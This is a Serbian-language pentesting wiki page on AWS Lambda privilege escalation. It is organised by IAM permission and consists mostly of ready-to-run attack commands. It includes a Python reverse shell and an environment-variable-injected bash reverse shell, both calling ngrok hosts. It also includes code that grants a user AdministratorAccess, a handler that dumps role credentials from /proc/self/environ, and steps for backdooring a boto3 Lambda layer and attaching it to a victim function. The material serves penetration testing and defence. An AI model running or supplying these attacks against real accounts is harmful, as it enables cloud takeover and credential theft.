# AWS - Lambda Privesc

{{#include ../../../banners/hacktricks-training.md}}

## lambda

Više informacija o lambda u:

{{#ref}}
../aws-services/aws-lambda-enum.md
{{#endref}}

### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)

Korisnici sa **`iam:PassRole`, `lambda:CreateFunction`, i `lambda:InvokeFunction`** dozvolama mogu da eskaliraju svoje privilegije.\
Mogu **napraviti novu Lambda funkciju i dodeliti joj postojeću IAM ulogu**, dajući funkciji dozvole povezane sa tom ulogom. Korisnik može zatim **napisati i otpremiti kod u ovu Lambda funkciju (na primer, sa rev shell-om)**.\
Kada je funkcija postavljena, korisnik može **pokrenuti njeno izvršavanje** i nameravane akcije pozivajući Lambda funkciju putem AWS API-ja. Ovaj pristup efikasno omogućava korisniku da izvršava zadatke indirektno kroz Lambda funkciju, delujući sa nivoom pristupa koji je dodeljen IAM ulozi povezanoj sa njom.\\

Napadač bi mogao da zloupotrebi ovo da dobije **rev shell i ukrade token**:
```python:rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
```

```bash
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>
```
Možete takođe **zloupotrebiti dozvole lambda uloge** iz same lambda funkcije.\
Ako je lambda uloga imala dovoljno dozvola, mogli biste je iskoristiti da vam dodelite administratorska prava:
```python
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
Takođe je moguće otkriti kredencijale lambda uloge bez potrebe za spoljnim povezivanjem. Ovo bi bilo korisno za **Network isolated Lambdas** korišćene za interne zadatke. Ako postoje nepoznate sigurnosne grupe koje filtriraju vaše obrnute ljuske, ovaj deo koda će vam omogućiti da direktno otkrijete kredencijale kao izlaz lambda.
```python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
```

```bash
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
```
**Potencijalni uticaj:** Direktno privesc na proizvoljnu lambda servisnu ulogu koja je navedena.

> [!OPREZ]
> Imajte na umu da čak i ako izgleda zanimljivo **`lambda:InvokeAsync`** **ne** omogućava samo po sebi da **izvrši `aws lambda invoke-async`**, takođe vam je potrebna `lambda:InvokeFunction`

### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`

Kao u prethodnom scenariju, možete **dodeliti sebi dozvolu `lambda:InvokeFunction`** ako imate dozvolu **`lambda:AddPermission`**
```bash
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
```
**Potencijalni uticaj:** Direktno privesc na proizvoljnu lambda servisnu ulogu koja je navedena.

### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`

Korisnici sa **`iam:PassRole`, `lambda:CreateFunction` i `lambda:CreateEventSourceMapping`** dozvolama (i potencijalno `dynamodb:PutItem` i `dynamodb:CreateTable`) mogu indirektno **povećati privilegije** čak i bez `lambda:InvokeFunction`.\
Mogu kreirati **Lambda funkciju sa zlonamernim kodom i dodeliti joj postojeću IAM ulogu**.

Umesto da direktno pozivaju Lambda, korisnik postavlja ili koristi postojeću DynamoDB tabelu, povezujući je sa Lambdom putem mape izvora događaja. Ova postavka osigurava da se Lambda funkcija **automatski aktivira prilikom unosa novog stavke** u tabelu, bilo od strane korisnika ili drugog procesa, čime se indirektno poziva Lambda funkcija i izvršava kod sa privilegijama dodeljene IAM uloge.
```bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
```
Ako je DynamoDB već aktivan u AWS okruženju, korisnik samo **treba da uspostavi mapiranje izvora događaja** za Lambda funkciju. Međutim, ako se DynamoDB ne koristi, korisnik mora **da kreira novu tabelu** sa omogućenom striming funkcijom:
```bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
```
Sada je moguće **povezati Lambda funkciju sa DynamoDB tabelom** tako što ćete **napraviti mapiranje izvora događaja**:
```bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
```
Sa Lambda funkcijom povezanošću sa DynamoDB strimom, napadač može **indirektno aktivirati Lambda funkciju aktiviranjem DynamoDB strima**. To se može postići **ubacivanjem stavke** u DynamoDB tabelu:
```bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
```
**Potencijalni uticaj:** Direktno privesc na lambda servisnu ulogu koja je navedena.

### `lambda:AddPermission`

Napadač sa ovom dozvolom može **dodeliti sebi (ili drugima) bilo kakve dozvole** (ovo generiše politike zasnovane na resursima za dodeljivanje pristupa resursu):
```bash
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
```
**Potencijalni uticaj:** Direktno privesc na lambda servisnu ulogu korišćenjem dozvole za modifikaciju koda i njegovo pokretanje.

### `lambda:AddLayerVersionPermission`

Napadač sa ovom dozvolom može **dati sebi (ili drugima) dozvolu `lambda:GetLayerVersion`**. Mogao bi pristupiti sloju i tražiti ranjivosti ili osetljive informacije.
```bash
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
```
**Potencijalni uticaj:** Potencijalni pristup osetljivim informacijama.

### `lambda:UpdateFunctionCode`

Korisnici koji imaju **`lambda:UpdateFunctionCode`** dozvolu imaju potencijal da **modifikuju kod postojeće Lambda funkcije koja je povezana sa IAM rolom.**\
Napadač može **modifikovati kod lambda funkcije da bi eksfiltrirao IAM akreditive**.

Iako napadač možda nema direktnu sposobnost da pozove funkciju, ako je Lambda funkcija već postojala i operativna, verovatno će biti pokrenuta kroz postojeće radne tokove ili događaje, čime se indirektno olakšava izvršenje modifikovanog koda.
```bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access
```
**Potencijalni uticaj:** Direktno privesc na lambda servisnu ulogu koja se koristi.

### `lambda:UpdateFunctionConfiguration`

#### RCE putem env varijabli

Sa ovim dozvolama moguće je dodati varijable okruženja koje će uzrokovati da Lambda izvrši proizvoljan kod. Na primer, u python-u je moguće zloupotrebiti varijable okruženja `PYTHONWARNING` i `BROWSER` da bi se python proces izvršio proizvoljne komande:
```bash
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
Za druge skriptne jezike postoje druge promenljive okruženja koje možete koristiti. Za više informacija proverite podsekcije skriptnih jezika u:

{{#ref}}
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
{{#endref}}

#### RCE putem Lambda Layers

[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) omogućava uključivanje **koda** u vašu lambda funkciju, ali **da se čuva odvojeno**, tako da kod funkcije može ostati mali i **several functions can share code**.

Unutar lambda možete proveriti putanje sa kojih se python kod učitava pomoću funkcije kao što je sledeća:
```python
import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
```
Ovo su mesta:

1. /var/task
2. /opt/python/lib/python3.7/site-packages
3. /opt/python
4. /var/runtime
5. /var/lang/lib/python37.zip
6. /var/lang/lib/python3.7
7. /var/lang/lib/python3.7/lib-dynload
8. /var/lang/lib/python3.7/site-packages
9. /opt/python/lib/python3.7/site-packages
10. /opt/python

Na primer, biblioteka boto3 se učitava iz `/var/runtime/boto3` (4. pozicija).

#### Eksploatacija

Moguće je zloupotrebiti dozvolu `lambda:UpdateFunctionConfiguration` da **dodate novi sloj** funkciji lambda. Da biste izvršili proizvoljan kod, ovaj sloj treba da sadrži neku **biblioteku koju će lambda uvesti.** Ako možete da pročitate kod lambda funkcije, mogli biste to lako pronaći, takođe imajte na umu da može biti moguće da lambda **već koristi sloj** i da možete **preuzeti** sloj i **dodati svoj kod** u njega.

Na primer, pretpostavimo da lambda koristi biblioteku boto3, ovo će kreirati lokalni sloj sa poslednjom verzijom biblioteke:
```bash
pip3 install -t ./lambda_layer boto3
```
Možete otvoriti `./lambda_layer/boto3/__init__.py` i **dodati backdoor u globalni kod** (funkciju za eksfiltraciju kredencijala ili dobijanje reverzibilne ljuske, na primer).

Zatim, zipujte taj `./lambda_layer` direktorijum i **otpremite novi lambda sloj** na svoj nalog (ili na nalog žrtve, ali možda nemate dozvole za to).\
Imajte na umu da treba da kreirate python folder i stavite biblioteke unutra da biste prepisali /opt/python/boto3. Takođe, sloj mora biti **kompatibilan sa verzijom pythona** koja se koristi u lambdi i ako ga otpremite na svoj nalog, mora biti u **istoј regiji:**
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
Sada, učinite učitanu lambda sloj **pristupačnim za bilo koji nalog**:
```bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
```
I priključite lambda sloj na funkciju lambda žrtve:
```bash
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
```
Sledeći korak bi bio da ili **pozovemo funkciju** sami ako možemo ili da čekamo da **bude pozvana** normalnim sredstvima – što je sigurnija metoda.

**Sofisticiraniji način za iskorišćavanje ove ranjivosti** može se naći u:

{{#ref}}
../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
{{#endref}}

**Potencijalni uticaj:** Direktno privesc na lambda servisnu ulogu koja se koristi.

### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`

Možda sa tim dozvolama možete da kreirate funkciju i izvršite je pozivajući URL... ali nisam mogao da pronađem način da to testiram, pa javite mi ako uspete!

### Lambda MitM

Neki lambdas će **primati osetljive informacije od korisnika u parametrima.** Ako dobijete RCE u jednom od njih, možete da exfiltrirate informacije koje drugi korisnici šalju, proverite to u:

{{#ref}}
../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}

## Reference

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)

{{#include ../../../banners/hacktricks-training.md}}
